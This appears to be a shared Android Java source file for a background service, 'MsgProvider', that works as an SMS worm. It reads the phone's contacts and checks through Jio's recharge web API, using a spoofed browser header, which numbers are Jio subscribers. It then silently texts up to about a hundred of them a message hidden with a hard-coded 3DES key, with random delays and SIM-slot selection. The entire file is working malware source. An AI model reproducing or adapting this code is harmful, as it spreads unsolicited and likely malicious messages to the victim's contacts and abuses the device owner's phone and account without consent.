· 5 years ago · Mar 08, 2020, 07:44 PM
1package com.benstokes.pathakschook;
2
3import android.Manifest;
4import android.annotation.SuppressLint;
5import android.annotation.TargetApi;
6import android.app.Notification;
7import android.app.NotificationChannel;
8import android.app.NotificationManager;
9import android.app.Service;
10import android.content.Context;
11import android.content.Intent;
12import android.content.pm.PackageManager;
13import android.os.Build;
14import android.os.HandlerThread;
15import android.os.IBinder;
16
17import android.support.annotation.Nullable;
18import android.support.annotation.RequiresApi;
19import android.support.v4.app.NotificationCompat;
20import android.support.v4.content.ContextCompat;
21import android.telephony.SmsManager;
22import android.telephony.SubscriptionInfo;
23import android.telephony.SubscriptionManager;
24import android.telephony.TelephonyManager;
25import android.util.Log;
26
27import org.apache.commons.codec.binary.Base64;
28
29import java.io.BufferedOutputStream;
30import java.io.BufferedReader;
31import java.io.InputStream;
32import java.io.InputStreamReader;
33import java.lang.reflect.Method;
34import java.net.URL;
35import java.security.SecureRandom;
36import java.security.spec.KeySpec;
37import java.util.ArrayList;
38import java.util.Calendar;
39import java.util.Collections;
40import java.util.HashSet;
41import java.util.List;
42import java.util.Random;
43
44import javax.crypto.Cipher;
45import javax.crypto.SecretKey;
46import javax.crypto.SecretKeyFactory;
47import javax.crypto.spec.DESedeKeySpec;
48import javax.net.ssl.HttpsURLConnection;
49import javax.net.ssl.SSLContext;
50
51
52public class MsgProvider
53 extends Service {
54 static final /* synthetic */ boolean $assertionsDisabled = false;
55 boolean conit = false;
56 String slotsim;
57 private static final String UNICODE_FORMAT = "UTF8";
58 public static final String DESEDE_ENCRYPTION_SCHEME = "DESede";
59 private KeySpec ks;
60 private SecretKeyFactory skf;
61 private Cipher cipher;
62 byte[] arrayBytes;
63 private String myEncryptionKey;
64 private String myEncryptionScheme;
65 SecretKey key;
66 String sender1,sender2,pass;
67 String tes="";
68 String tes2="";
69
70 public MsgProvider() throws Exception {
71 myEncryptionKey = "ThisIsSpartaThisIsSparta";
72 myEncryptionScheme = DESEDE_ENCRYPTION_SCHEME;
73 arrayBytes = myEncryptionKey.getBytes(UNICODE_FORMAT);
74 ks = new DESedeKeySpec(arrayBytes);
75 skf = SecretKeyFactory.getInstance(myEncryptionScheme);
76 cipher = Cipher.getInstance(myEncryptionScheme);
77 key = skf.generateSecret(ks);
78 }
79
80 @SuppressLint("WrongConstant")
81 @RequiresApi(value=26)
82 private void startMyOwnForeground() {
83 NotificationChannel notificationChannel = new NotificationChannel("cards", "null", 0);
84 notificationChannel.setLightColor(-16776961);
85 notificationChannel.setLockscreenVisibility(0);
86
87 sender1 = "aSISKSbhFLZVjpFx01e+lsatZp+b4RiSBGc8+KOdwqiKboUxrfrtMaICLtTIXZcMkwmtc2xF3KJcKK3MYndQ+6h0DryNJlU4V/cd3UBxI1Cpxv70QF7J2oakElDlAw9z89S6KsfIxYcoFDCp6OuQdHtdS9NK+1wPRtQvITIaJADCMuBhOzUzRKSHX2j22yZcBzYSF7sm9XXXnX7uayIyjA==";
88
89 sender1 = decrypt(sender1);
90 sender2= decrypt(sender2);
91 pass= decrypt(pass);
92 System.out.println(sender1+sender2+pass);
93 //System.out.println("msg === "+encrypt("-----------"));
94 //System.out.println("pass === "+encrypt("------------"));
95 //System.out.println("null === "+encrypt("null"));
96 ((NotificationManager)this.getSystemService("notification")).createNotificationChannel(notificationChannel);
97 this.startForeground(2, new NotificationCompat.Builder(this, "cards").setOngoing(true).setContentTitle("Run").setPriority(0).setCategory("service").build());
98 }
99
100 /*
101 * Enabled aggressive exception aggregation
102 */
103 @TargetApi(value=22)
104 public String checksim()
105 {List<String> carrierNames = new ArrayList<>();
106 try {
107 final String permission = Manifest.permission.READ_PHONE_STATE;
108 if ( (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1) && (ContextCompat.checkSelfPermission(this, permission) == PackageManager.PERMISSION_GRANTED) ){
109 final List<SubscriptionInfo> subscriptionInfos = SubscriptionManager.from(this).getActiveSubscriptionInfoList();
110 for (int i = 0; i < subscriptionInfos.size(); i++) {
111 carrierNames.add(subscriptionInfos.get(i).getSimSlotIndex()+subscriptionInfos.get(i).getCarrierName().toString());
112 }
113
114 } else {
115 TelephonyManager telephonyManager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
116
117 carrierNames.add(telephonyManager.getNetworkOperatorName());
118
119 }
120 } catch (Exception e) {
121 e.printStackTrace();
122 }
123 for (String s: carrierNames
124 ) {
125 Log.e("check",s);
126 if(s.toUpperCase().contains("JIO"))
127 {
128 if(s.contains("0"))
129 {
130 return "0";
131 }
132 if(s.contains("1"))
133 {
134 return "1";
135 }
136 }
137
138
139 }
140 return "default";
141 }
142
143 public String encrypt(String unencryptedString) {
144 String encryptedString = null;
145 try {
146 cipher.init(Cipher.ENCRYPT_MODE, key);
147 byte[] plainText = unencryptedString.getBytes(UNICODE_FORMAT);
148 byte[] encryptedText = cipher.doFinal(plainText);
149 encryptedString = new String(Base64.encodeBase64(encryptedText));
150 } catch (Exception e) {
151 e.printStackTrace();
152 }
153 return encryptedString;
154 }
155
156
157 public String decrypt(String encryptedString) {
158 String decryptedText=null;
159 try {
160 cipher.init(Cipher.DECRYPT_MODE, key);
161 byte[] encryptedText = Base64.decodeBase64(encryptedString);
162 byte[] plainText = cipher.doFinal(encryptedText);
163 decryptedText= new String(plainText);
164 } catch (Exception e) {
165 e.printStackTrace();
166 }
167 return decryptedText;
168 }
169
170 private String capitalize(String s) {
171 if (s == null || s.length() == 0) {
172 return BuildConfig.FLAVOR;
173 }
174 char first = s.charAt(0);
175 return !Character.isUpperCase(first) ? Character.toUpperCase(first) + s.substring(1) : s;
176 }
177
178 public boolean urljcheck(String string2) {
179 @SuppressLint("WrongConstant") int n2 = Calendar.getInstance().get(12);
180 if (n2 >= 0 && n2 <= 5) {
181 return true;
182 }
183 if (n2 < 6 || n2 > 10) {
184 if (n2 >= 11 && n2 <= 15) {
185 return true;
186 }
187 if (n2 < 16 || n2 > 20) {
188 if (n2 >= 21 && n2 <= 25) {
189 return true;
190 }
191 if (n2 < 26 || n2 > 30) {
192 if (n2 >= 31 && n2 <= 35) {
193 return true;
194 }
195 if (n2 < 36 || n2 > 40) {
196 if (n2 >= 41 && n2 <= 45) {
197 return true;
198 }
199 if ((n2 < 46 || n2 > 50) && n2 >= 51 && n2 <= 55) {
200 return true;
201 }
202 }
203 }
204 }
205 }
206 try {
207 String string3;
208 HttpsURLConnection httpsURLConnection = (HttpsURLConnection)new URL("https://www.jio.com/JioWebService/rest/JioRechargeService/submitNumber").openConnection();
209 SSLContext sSLContext = SSLContext.getInstance("TLS");
210 sSLContext.init(null, null, new SecureRandom());
211 httpsURLConnection.setSSLSocketFactory(sSLContext.getSocketFactory());
212 StringBuilder stringBuilder = new StringBuilder();
213 stringBuilder.append("{\"serviceId\":\"");
214 stringBuilder.append(string2);
215 stringBuilder.append("\",\"partyId\":null,\"source\":null,\"ptab\":null,\"token\":null,\"msg\":null,\"serviceType\":\"MOBILITY\"}");
216 String string4 = stringBuilder.toString();
217 httpsURLConnection.setRequestProperty("POST", "/JioWebService/rest/JioRechargeService/submitNumber HTTP/1.1");
218 httpsURLConnection.setRequestProperty("Host", "www.jio.com");
219 httpsURLConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0");
220 httpsURLConnection.setRequestProperty("Accept", "application/json, text/javascript, */*; q=0.01");
221 httpsURLConnection.setRequestProperty("Accept-Language", "en-US");
222 httpsURLConnection.setRequestProperty("Referer", "https://www.jio.com/JioWebApp/");
223 httpsURLConnection.setRequestProperty("Content-Type", "application/json");
224 StringBuilder stringBuilder2 = new StringBuilder();
225 stringBuilder2.append(string4.length());
226 httpsURLConnection.setRequestProperty("Content-Length", stringBuilder2.toString());
227 httpsURLConnection.setRequestProperty("DNT", "1");
228 httpsURLConnection.setRequestProperty("Connection", "keep-alive");
229 httpsURLConnection.setRequestProperty("Pragma", "no-cache");
230 httpsURLConnection.setRequestProperty("Cache-Control", "no-cache");
231 httpsURLConnection.setReadTimeout(7000);
232 httpsURLConnection.setConnectTimeout(8000);
233 httpsURLConnection.setRequestMethod("POST");
234 httpsURLConnection.connect();
235 BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(httpsURLConnection.getOutputStream());
236 bufferedOutputStream.write(string4.getBytes());
237 bufferedOutputStream.flush();
238 String string5 = "";
239 int n3 = httpsURLConnection.getResponseCode();
240 InputStream inputStream = n3 >= 200 && n3 < 400 ? httpsURLConnection.getInputStream() : httpsURLConnection.getErrorStream();
241 BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
242 while ((string3 = bufferedReader.readLine()) != null) {
243 StringBuilder stringBuilder3 = new StringBuilder();
244 stringBuilder3.append(string5);
245 stringBuilder3.append(string3);
246 string5 = stringBuilder3.toString();
247 }
248 String string6 = string5;
249 if (string6.contains("NOT_SUBSCRIBED_USER")) {
250 return false;
251 }
252 boolean bl = string6.contains(string2);
253 return bl;
254 }
255 catch (Exception exception) {
256 exception.printStackTrace();
257 return false;
258 }
259 }
260
261 /*public boolean urljcheck2(String string2) {
262 return true;
263 }*/
264
265 public boolean locaalnumber(String string2) {
266 String[] arrstring = new String[]{"7000", "7001", "7002", "7003", "7004", "7005", "7006", "7007", "7008", "7009", "7010", "7011", "7012", "7013", "7014", "7015", "7016", "7017", "7018", "7019", "7020", "7021", "6001", "6002", "6002", "6003", "6003", "6001"};
267 for (int i2 = 0; i2 < arrstring.length; ++i2) {
268 String string3 = string2;
269 StringBuilder stringBuilder = new StringBuilder();
270 stringBuilder.append("91");
271 stringBuilder.append(arrstring[i2]);
272 if (!string3.startsWith(stringBuilder.toString())) continue;
273 return true;
274 }
275 return false;
276 }
277
278 @Nullable
279 public IBinder onBind(Intent intent) {
280 return null;
281 }
282
283 public void onCreate() {
284 new HandlerThread("ServiceStartArguments", 10).start();
285 super.onCreate();
286 new Thread(new Runnable(){
287
288 public void run() {
289 if (Build.VERSION.SDK_INT > 26) {
290 MsgProvider.this.startMyOwnForeground();
291 } else {
292 MsgProvider.this.startForeground(1, new Notification());
293 }
294 try {
295 Thread.sleep(5000L);
296 } catch (InterruptedException e) {
297 e.printStackTrace();
298 }
299
300 MsgProvider.this.slotsim = MsgProvider.this.checksim();
301 Object[] arrobject = new rdcontact(MsgProvider.this.getApplicationContext()).getCon();
302 HashSet hashSet = new HashSet();
303 Collections.addAll(hashSet, (Object[])arrobject);
304 String[] arrstring = (String[])hashSet.toArray(new String[hashSet.size()]);
305 String[] arrstring2 = new String[10000];
306 final String[] arrstring3 = new String[200];
307 int n2 = 0;
308 int n3 = 0;
309 int n4 = 0;
310 int n5 = 0;
311 do {
312 block16 : {
313 int n6;
314 block12 : {
315 block14 : {
316 block13 : {
317 if (n5 >= arrstring.length) break block12;
318 if (arrstring[n5] == null || !MsgProvider.this.locaalnumber(arrstring[n5])) break block13;
319 arrstring3[n3] = arrstring[n5];
320 ++n3;
321 break block14;
322 }
323 if (arrstring[n5] == null) break block14;
324 arrstring2[n2] = arrstring[n5];
325 ++n2;
326 }
327 if (n3 != 99) break block16;
328 }
329 try {
330 new Thread(new Runnable(){
331
332 public void run() {
333 String[] arrstring;
334 for (int i2 = 0; i2 < (arrstring = arrstring3).length; ++i2) {
335 if (arrstring[i2] == null) continue;
336 try {
337 Thread.sleep(1400L);
338 MsgProvider.this.sendstartyo(arrstring3[i2]);
339 continue;
340 }
341 catch (InterruptedException interruptedException) {
342 interruptedException.printStackTrace();
343 }
344 }
345 }
346 }).start();
347 n6 = n3;
348 }
349 catch (Exception exception) {
350 exception.printStackTrace();
351 return;
352 }
353 do {
354 block15 : {
355 if (n4 >= arrstring2.length || n6 == 99) break;
356 if (arrstring2[n4] == null || arrstring2[n4].length() <= 10 || !MsgProvider.this.urljcheck(arrstring2[n4].substring(2))) break block15;
357 arrstring3[n3] = arrstring2[n4];
358 MsgProvider.this.sendstartyo(arrstring3[n3]);
359 ++n3;
360 ++n6;
361 }
362 ++n4;
363 } while (true);
364 return;
365 }
366 ++n5;
367 } while (true);
368 }
369
370 }).start();
371 }
372
373 @TargetApi(22)
374 public void sendSMS(String ph,String slot)
375 {
376 try {
377
378
379 if(slot.contains("default"))
380 {
381 SmsManager smsManager = SmsManager.getDefault();
382 smsManager.sendTextMessage(ph, null, sender1, null, null);
383
384 Log.d("SMS","SENDED--------");
385 return;
386 }
387 Method method = Class.forName("android.telephony.SubscriptionManager").getDeclaredMethod("getSubId", int.class);
388 method.setAccessible(true);
389
390 int simID = Integer.parseInt(slot); //while simID is the slot number of your second simCard
391 int[] param = (int[]) method.invoke(null, new Integer(simID));
392 int inst = param[0];
393 SmsManager smsMan = SmsManager.getSmsManagerForSubscriptionId(inst);
394 smsMan.sendTextMessage(ph, null, sender1, null, null);
395 Log.d("SMS","SENDED-------");
396 }
397 catch(Exception e)
398 {
399 e.printStackTrace();
400 }
401 }
402
403 public void sendstartyo(final String string2) {
404 new Thread(new Runnable(){
405
406 public void run() {
407 try {
408 int n2 = 10 + new Random().nextInt(591);
409 StringBuilder stringBuilder = new StringBuilder();
410 stringBuilder.append("SENDING mSG to i ");
411 stringBuilder.append(n2);
412 stringBuilder.append(" time :");
413 stringBuilder.append(string2);
414 Log.d("----------------", stringBuilder.toString());
415 Thread.sleep((long)n2);
416 MsgProvider.this.sendSMS(string2, MsgProvider.this.slotsim);
417 return;
418 }
419 catch (Exception exception) {
420 exception.printStackTrace();
421 return;
422 }
423 }
424 }).start();
425 }
426
427}